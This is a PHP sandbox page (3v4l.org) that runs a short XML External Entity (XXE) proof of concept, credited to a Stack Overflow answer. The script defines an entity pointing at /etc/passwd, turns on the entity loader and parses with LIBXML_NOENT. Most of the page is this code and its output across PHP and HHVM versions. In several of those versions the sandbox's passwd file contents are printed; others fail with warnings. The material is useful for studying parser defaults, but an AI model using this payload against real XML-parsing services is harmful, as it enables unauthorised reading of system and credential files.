3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php /** * @link http://stackoverflow.com/a/29864193/367456 */ $buffer = <<<XML <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> XML; libxml_disable_entity_loader(false); $xml = simplexml_load_string($buffer); $xml->asXML('php://output'); $xml = simplexml_load_string($buffer, 'SimpleXMLElement', LIBXML_NOENT); $xml->asXML('php://output');
based on 1jmKu
Output for 7.1.10, 7.2.0, 7.3.0alpha1 - 7.3.0rc6
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin http:x:33:33:http:/srv/http:/usr/bin/nologin nobody:x:99:99:nobody:/:/usr/bin/nologin systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin </foo>
Output for 7.0.0 - 7.1.7, 7.1.20, 7.2.6
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> Warning: simplexml_load_string(): I/O warning : failed to load external entity "/etc/passwd" in /in/atLd6 on line 19 Warning: simplexml_load_string(): Entity: line 4: parser error : Failure to process entity xxe in /in/atLd6 on line 19 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> in /in/atLd6 on line 19 Warning: simplexml_load_string(): ^ in /in/atLd6 on line 19 Warning: simplexml_load_string(): Entity: line 4: parser error : Entity 'xxe' not defined in /in/atLd6 on line 19 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> in /in/atLd6 on line 19 Warning: simplexml_load_string(): ^ in /in/atLd6 on line 19 Fatal error: Uncaught Error: Call to a member function asXML() on boolean in /in/atLd6:20 Stack trace: #0 {main} thrown in /in/atLd6 on line 20
Process exited with code 255.
Output for hhvm-3.15.4
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> Warning: Protocol 'file' for external XML entity '/etc/passwd' is disabled for security reasons. This may be changed using the hhvm.libxml.ext_entity_whitelist ini setting. in /in/atLd6 on line 19 Fatal error: Uncaught exception 'BadMethodCallException' with message 'Call to a member function asXML() on a non-object (boolean)' in /in/atLd6:20 Stack trace: #0 {main} Entity: line 4: parser error : Failure to process entity xxe <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> ^ Entity: line 4: parser error : Entity 'xxe' not defined <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> ^
Process exited with code 255.
Output for 5.6.0 - 5.6.30
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "/etc/passwd"> ]> <foo>&xxe;</foo> Warning: simplexml_load_string(): I/O warning : failed to load external entity "/etc/passwd" in /in/atLd6 on line 19 Warning: simplexml_load_string(): Entity: line 4: parser error : Failure to process entity xxe in /in/atLd6 on line 19 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> in /in/atLd6 on line 19 Warning: simplexml_load_string(): ^ in /in/atLd6 on line 19 Warning: simplexml_load_string(): Entity: line 4: parser error : Entity 'xxe' not defined in /in/atLd6 on line 19 Warning: simplexml_load_string(): <!ENTITY xxe SYSTEM "/etc/passwd">]><foo>&xxe;</foo> in /in/atLd6 on line 19 Warning: simplexml_load_string(): ^ in /in/atLd6 on line 19 Fatal error: Call to a member function asXML() on boolean in /in/atLd6 on line 20
Process exited with code 255.